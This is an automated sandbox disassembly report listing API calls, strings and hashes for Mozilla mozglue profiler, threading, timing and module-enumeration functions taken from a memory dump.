??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C61F8F9

Part of subcall function 6C5E6390: GetCurrentThreadId.KERNEL32 ref: 6C5E63D0
Part of subcall function 6C5E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5E63DF
Part of subcall function 6C5E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5E640E

ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F93A
GetCurrentThreadId.KERNEL32 ref: 6C61F98A
GetCurrentThreadId.KERNEL32 ref: 6C61F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F716

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C5DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C61F739
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F746
GetCurrentThreadId.KERNEL32 ref: 6C61F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C65385B,00000002,?,?,?,?,?), ref: 6C61F829
free.MOZGLUE(?,?,00000000,?), ref: 6C61F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C61F866
free.MOZGLUE(?), ref: 6C61FA0C

Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C
Part of subcall function 6C5E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
Part of subcall function 6C5E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F53
Part of subcall function 6C5E5E60: GetCurrentThread.KERNEL32 ref: 6C5E5F5C
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F66
Part of subcall function 6C5E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E

free.MOZGLUE(?), ref: 6C61F9C5
free.MOZGLUE(?), ref: 6C61F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C61F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C61F71F
" attempted to re-register as ", xrefs: 6C61F858
Thread , xrefs: 6C61F789

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction ID: 1be84945678020b5c24d94113bfea9ba47491974eff2cfebc11960140b7f0eed
Opcode Fuzzy Hash: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction Fuzzy Hash: F18105716083009FDB00DF29C880AAAB7F5EFC5308F95856DE94597B51EB30E849CB9B

Function 6C61EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EE60
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE6D
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61EEA5
CloseHandle.KERNEL32(?), ref: 6C61EEB4
free.MOZGLUE(00000000), ref: 6C61EEBB
GetCurrentThreadId.KERNEL32 ref: 6C61EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EECF

Part of subcall function 6C61DE60: GetCurrentThreadId.KERNEL32 ref: 6C61DE73
Part of subcall function 6C61DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B
Part of subcall function 6C61DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
Part of subcall function 6C61DE60: free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
Part of subcall function 6C61DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C61EF1E
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF2B
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF59
GetCurrentThreadId.KERNEL32 ref: 6C61EFB0
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFBD
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFE1
GetCurrentThreadId.KERNEL32 ref: 6C61EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F000

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F02F

Part of subcall function 6C61F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61F09B
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C61F0AC
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C61F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C61F008
[I %d/%d] profiler_stop, xrefs: 6C61EED7

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction ID: a13ffb26a3f1973b54319232e5d005993d13ad4160e9eb8ffef0263df8222efc
Opcode Fuzzy Hash: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction Fuzzy Hash: 5D51F5357082109FDB00DB6AD4887AA7BB4EF8735AFB40529E91583F41D7758805CBAF

Function 6C5E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5E801D

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5E808D

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E8199

Strings

0>al, xrefs: 6C5E811E

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>al
API String ID: 2721933968-3346569394
Opcode ID: db95ddff5386853ce008ac0173669e9a2970948c22304c6f20c131ce10ce1064
Instruction ID: 5ce6f5379377078cfb671420fcf55c9498f85a0faa17b863dbd426ffe3e7507b
Opcode Fuzzy Hash: db95ddff5386853ce008ac0173669e9a2970948c22304c6f20c131ce10ce1064
Instruction Fuzzy Hash: E951A6B2E002149BDF00DFA9DC849AFBBB9EF89264F644125E815E7740E730DD058BA6

Function 6C5E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5E6017

Part of subcall function 6C5D4310: moz_xmalloc.MOZGLUE(00000010,?,6C5D42D2), ref: 6C5D436A
Part of subcall function 6C5D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D42D2), ref: 6C5D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
GetCurrentProcess.KERNEL32 ref: 6C5E5F53
GetCurrentThread.KERNEL32 ref: 6C5E5F5C
GetCurrentProcess.KERNEL32 ref: 6C5E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E60CC

Strings

GeckoMain, xrefs: 6C5E5ECE, 6C5E6015

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction ID: 3b859f8904aabc9f458b1a903f2ee8b0e1154d49472916a6f1ba0069a839595e
Opcode Fuzzy Hash: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction Fuzzy Hash: 7C71AFB0604740DFD704DF29C880A6ABBF0FF8A304F94496DE59687B52DB31E948CB96

Function 6C5E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5D3217
Part of subcall function 6C5D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5D3236
Part of subcall function 6C5D31C0: FreeLibrary.KERNEL32 ref: 6C5D324B
Part of subcall function 6C5D31C0: __Init_thread_footer.LIBCMT ref: 6C5D3260
Part of subcall function 6C5D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5D327F
Part of subcall function 6C5D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D328E
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32AB
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32D1
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5D32E5
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

NtMapViewOfSection, xrefs: 6C5E9701
MapViewOfFileNuma2, xrefs: 6C5E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
ntdll.dll, xrefs: 6C5E96E3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction ID: 05d34653fbef03fce58023a461009a76c76fee2f688051da220c0397314f96a0
Opcode Fuzzy Hash: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction Fuzzy Hash: 2D61F171700201AFDF00DF6AECD4B9A7BB4EB8B354FA04529E91597780D730A858CB9A

Function 6C636660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636694
GetThreadId.KERNEL32(?), ref: 6C6366B1
GetCurrentThreadId.KERNEL32 ref: 6C6366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6366E1
EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636734
GetCurrentProcess.KERNEL32 ref: 6C63673A
LeaveCriticalSection.KERNEL32(6C65F618), ref: 6C63676C
GetCurrentThread.KERNEL32 ref: 6C6367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C636868
RtlCaptureContext.NTDLL ref: 6C63687F

Strings

WalkStack64, xrefs: 6C636890

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction ID: 5a4afbf9f5d41ee9f595bac782edf140fde5f3fece0a6295c36dde95f4129772
Opcode Fuzzy Hash: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction Fuzzy Hash: DC51DF71A09310AFDB11CF25C884B9BBBF4BF89714F54992DF99987640D770E808CB9A

Function 6C61DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61DE73
GetCurrentThreadId.KERNEL32 ref: 6C61DF7D
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DF8A
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DFC9
GetCurrentThreadId.KERNEL32 ref: 6C61DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Strings

<none>, xrefs: 6C61DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C61E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C61DE83

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction ID: 9e4617f139495c078254cd5e12d3ac6a1b72213652c6d1ed577c7a4d9203a4ed
Opcode Fuzzy Hash: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction Fuzzy Hash: 55412431B052109FDB11DF6AD8887AA7775EF8230EFA40019E90597F42CB319906CBEE

Function 6C62D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D918
GetCurrentThreadId.KERNEL32 ref: 6C62D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D970
GetCurrentThreadId.KERNEL32 ref: 6C62D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C62DA2E
GetCurrentThreadId.KERNEL32 ref: 6C62DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C62DA91

Part of subcall function 6C5F5C50: GetTickCount64.KERNEL32 ref: 6C5F5D40
Part of subcall function 6C5F5C50: EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62DAB7

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 2e732854514daf8ce554ae0804ac7a4250ee9a91eba9b6935db45a4195ac0f77
Instruction ID: 32ebce48602e93ed789bd3428496cc3821a28c9b965e3e77f61a86e2f936cbbd
